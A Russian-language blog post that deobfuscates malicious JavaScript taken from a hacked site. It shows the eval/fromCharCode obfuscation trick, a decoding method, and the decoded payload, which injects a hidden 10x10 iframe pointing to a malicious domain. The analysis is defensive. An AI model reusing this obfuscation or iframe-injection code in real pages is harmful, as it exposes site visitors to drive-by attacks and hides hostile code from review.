Скрытие кода, метод 5

Автор: | 7 февраля 2012

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ):

01var s = '';
02  try { new asd[0]
03}
04catch (q) {
05  if (q) r = 1;
06  c = String;
07}
08if (r && document.createTextNode) t = 2;
09e = eval;
10m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка
11mm = c['fro'+'mCharCode'];
12for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) );
13try {
14  document.appendChild( null )
15}
16catch (q) {
17  e( s );
18}

На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.

c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.

1mm( e( "m" + "[" + "i" + ']') );
2// равносильно
3String.fromCharCode( eval( "m[i]" ) );

это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.

Результирующий код для расшифровки:

01var s='';
02c = String;
03e = eval;
04t = 2;
05m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t];
06mm = c['fro'+'mCharCode'];
07for (i = 0; i != m.length; i++) {
08  s += mm( e( "m" + "[" + "i" + ']') );
09//s += String.fromCharCode( eval( "m[i]") ); // то же самое
10}
11// alert( s );
12document.write( "<textarea>" );
13document.write( s );
14document.write( "</textarea>" );

N.B.

Перед тем, как использовать тег textarea, я проверил содержимое кода функцией alert, т.к. иногда хитрые скриптописатели ставят закрывающий тег </textarea> и код не выводится.

Скрипт вставлял iframe с сайта
google-banking . com/main.php?page=f8a892dc63e25f27

Полный расшифрованный код:

01if (document.getElementsByTagName( 'body' )[0]) {
02  iframer();
03} else {
04document.write("<iframe src='http ://google-banking...' width='10' height='10'
05style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
06}
07function iframer(){
08  var f = document.createElement( 'iframe' );
09  f.setAttribute( 'src', 'http ://google-banking...' );
10  f.style.visibility = 'hidden';
11  f.style.position = 'absolute';
12  f.style.left = '0';
13  f.style.top = '0';
14  f.setAttribute( 'width', '10' );
15  f.setAttribute( 'height', '10' );
16  document.getElementsByTagName( 'body' )[0].appendChild( f );
17}

Добавить комментарий